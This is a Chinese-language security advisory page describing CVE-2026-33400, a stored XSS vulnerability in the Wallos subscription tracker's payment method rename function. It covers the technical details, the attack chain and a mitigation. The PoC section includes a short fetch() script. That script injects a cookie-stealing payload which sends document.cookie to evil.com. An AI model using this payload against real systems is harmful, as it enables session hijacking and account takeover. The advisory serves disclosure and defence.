IPBUF安全漏洞报告
English
CVE-2026-33400 CVSS 5.4 中危

CVE-2026-33400 Wallos存储型XSS漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33400
漏洞类型
存储型跨站脚本攻击 (Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Wallos

相关标签

XSSStored XSSWallosSession HijackingCWE-79

漏洞概述

Wallos是一款开源的自托管个人订阅追踪器。在4.7.0版本之前,该系统在支付方式重命名端点中存在一个存储型跨站脚本(XSS)漏洞。由于系统未能正确过滤用户输入,任何经过身份验证的用户都可以注入恶意的JavaScript代码。当其他用户访问设置、订阅或统计页面时,这段恶意代码将被触发执行。由于wallos_login认证cookie缺少HttpOnly标志,攻击者可以利用该漏洞窃取用户的会话cookie,从而完全接管用户账户。该问题已在版本4.7.0中得到修复。

技术细节

该漏洞属于存储型XSS,其根本原因在于应用程序在处理“支付方式重命名”功能时,未对用户提供的数据进行充分的净化或转义。攻击者首先需要登录Wallos账户,导航至支付方式管理界面,并在重命名输入框中植入特制的JavaScript payload。该 payload 被提交后,会直接存储在后端数据库中,未经过滤即返回给前端。当管理员或其他普通用户访问包含受污染数据的页面(如设置、订阅列表或统计页面)时,服务器会从数据库读取该恶意名称并渲染到HTML响应中。浏览器解析到标签后执行其中的代码。更为严重的是,Wallos系统为认证标识符wallos_login设置的Cookie缺少HttpOnly属性。这意味着,通过JavaScript的document.cookie API可以直接读取该敏感Cookie。攻击者构造的payload可以读取Cookie并将其发送到外部服务器,结合有效的Session ID,攻击者无需知道密码即可劫持用户会话,获得与受害者相同的权限。

攻击链分析

STEP 1
1. 初始访问
攻击者注册或获取一个Wallos平台的低权限账户。
STEP 2
2. 漏洞利用
攻击者登录后,访问支付方式管理页面,利用重命名功能注入包含JavaScript代码的恶意payload(如窃取Cookie的脚本)。
STEP 3
3. 持久化
恶意脚本被存储在数据库中,并与特定的支付方法关联。
STEP 4
4. 触发执行
当管理员或其他受害者访问“设置”、“订阅”或“统计”页面时,后端加载数据,前端渲染并执行攻击者注入的脚本。
STEP 5
5. 权限提升
脚本利用wallos_login cookie缺少HttpOnly标志的缺陷,窃取受害者的会话ID并发送给攻击者,导致会话劫持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-33400: Stored XSS in Wallos Payment Method Rename // Attacker needs to be authenticated to perform this action. // Step 1: Inject malicious script via payment method rename fetch('/api/payment-methods', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Cookie': 'wallos_login=<SESSION_COOKIE>' // Use attacker's valid session }, body: JSON.stringify({ id: 1, // Target payment method ID name: '<script>fetch(\'https://evil.com/steal?c=\'+document.cookie)</script>' }) }).then(r => console.log('Payload injected')); // Step 2: The stored script executes when any user visits Settings/Subscriptions // The browser sends the victim's cookie to the attacker's server.

影响范围

Wallos < 4.7.0

防御指南

临时缓解措施
如果无法立即升级,建议管理员暂时禁用普通用户对支付方式的重命名权限,并手动审查数据库中已存在的支付方法名称,确保其中不包含任何HTML或JavaScript脚本代码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表